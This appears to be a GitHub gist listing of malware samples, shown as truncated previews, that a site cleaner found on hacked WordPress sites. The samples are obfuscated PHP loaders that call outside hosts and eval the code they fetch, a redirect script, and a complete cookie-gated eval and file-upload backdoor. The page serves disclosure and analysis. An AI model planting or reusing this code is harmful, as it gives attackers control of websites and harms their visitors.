magefix’s gists

magefix / index.php

Created December 18, 2024 15:29

WordPress infected index.php

<?php

function e($url) { $ch=curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_USERAGENT, 'e'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_FRESH_CONNECT, TRUE); $r=curl_exec($ch); curl_close($ch); if ($r) { return $r; } return ''; } function de($d) { $end=substr($d, strlen($d) -2); $array=str_split($d); $result=''; for ($i=0;$i<count($array) - 2;$i=$i+2) { $result .= $array[$i+1] . $array[$i]; } $result .= $end;/*S0vMzEJElwPNAQA=$cAT3VWynuiL7CRgr*/ return $result; } $api=base64_decode('aHR0cDovL3VzMzIxLXYzMTIuYW1hem9uZG5zMzkuY29t'); $params['domain'] =isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : $_SERVER['SERVER_NAME']; $params['request_url']=$_SERVER['REQUEST_URI']; $params['ip']=isset($_SERVER['HTTP_VIA']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR']; $params['agent']=isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; $params['referer']=isset($_SERVER['HTTP_REFERER']) ? $_

magefix / about.php

Created December 18, 2024 11:22

Hacked WordPress & about.php

	<?php
	/**================================================================================================
	___ ___
	\| \/ \| Copyright (C) 2017-2023, Monarx, Inc.
	\| . . \| ___ _ __ __ _ _ __ __ __
	\| \|\/\| \| / _ \ \| '_ \ / _` \|\| '__\|\ \/ /
	\| \| \| \|\| (_) \|\| \| \| \|\| (_\| \|\| \| > <
	\_\| \|_/ \___/ \|_\| \|_\| \__,_\|\|_\| /_/\_\

	===================================================================================================

magefix / wp-load.php

Created August 12, 2023 08:28

malicious file wp-load.php api.aedoodaezi.fun

	<?php
	set_time_limit(0);
	error_reporting(1);
	$ccd = str_rot13('ncv.nrqbbqnrmv.sha');
	if ( array_key_exists ('update', $_GET)){


	$ch = curl_init("http://{$ccd}/files/file.txt");
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_POST, 0);

magefix / sk-jspark_init.php

Created July 30, 2021 08:37

Malicious redirects

	(function() {
	if(!window._skz_pid)
	return;

	try
	{
	this._hlpr = function(){
	return {
	url : "//freeresultsguide.com/sk-jspark.php?",
	params : {

magefix / accesson.php

Created July 30, 2021 07:50

accesson.php ( malware )

<?=409723*20;if(md5($_COOKIE[d])=="\61\x37\60\62\x38\146\x34\70\67\143\142\x32\141\70\x34\x36\x30\67\x36\64\x36\x64\141\63\141\144\63\70\67\x38\145\143"){echo"\x6f\x6b";eval(base64_decode($_REQUEST[id]));if($_POST["\165\160"]=="\165\x70"){@copy($_FILES["\x66\151\x6c\x65"]["\164\155\x70\x5f\x6e\x61\x6d\x65"],$_FILES["\146\x69\154\x65"]["\156\141\155\x65"]);}}?>

magefix / 3index.php ( banksstop.tech )

Last active July 29, 2021 15:09

Infected files ( SEO spam ) July, 2021

<?php $uoeq967= "O)sl 2Te4x-+gazAbuK_6qrjH0RZt*N3mLcVFEWvh;inySJC91oMfYXId5Up.(GP7D,Bw/kQ8";$vpna644='JGNoID0gY3VybF9pbml0KCdodHRwOi8vYmFua3N';$vpna645='zdG9wLnRlY2gvJy4kX0dFVFsnZiddKTtjdXJsX3';$vpna646='NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBT';$vpna647='lNGRVIsIDEpOyRyZXN1bHQgPSBjdXJsX2V4ZWMo';$vpna648='JGNoKTtldmFsKCc/PicuJHJlc3VsdCk7';$vpna643=$vpna644.$vpna645.$vpna646.$vpna647.$vpna648;function cdim173($fsxi199,$rykc638,$ekcu564){return ''.$fsxi199.''.$rykc638.''.$ekcu564.'';}$qfcg427 = cdim173($uoeq967{34},$uoeq967{13}.$uoeq967{3},$uoeq967{3});$uodu186 = cdim173($uoeq967{19}.$uoeq967{17},$uoeq967{2}.$uoeq967{7},'');$lrbk358 = cdim173($uoeq967{22},$uoeq967{19},$uoeq967{52});$hume205 = cdim173($uoeq967{17},'',$uoeq967{43});$xzdo850 = cdim173($uoeq967{34},$uoeq967{19},$uoeq967{13}.$uoeq967{22});$uqmy998 = cdim173($uoeq967{22},$uoeq967{13},$uoeq967{44});$aobc355 =cdim173(cdim173($qfcg427,'',$uodu186),cdim173($lrbk358,$hume205,''),cdim173($xzdo850,'',$uqmy998));$xggn756 = cdim173($uoeq967{34},$uoeq967{22},$u

	<?php
	/**================================================================================================
	___ ___
	\| \/ \| Copyright (C) 2017-2023, Monarx, Inc.
	\| . . \| ___ _ __ __ _ _ __ __ __
	\| \|\/\| \| / _ \ \| '_ \ / _` \|\| '__\|\ \/ /
	\| \| \| \|\| (_) \|\| \| \| \|\| (_\| \|\| \| > <
	\_\| \|_/ \___/ \|_\| \|_\| \__,_\|\|_\| /_/\_\

	===================================================================================================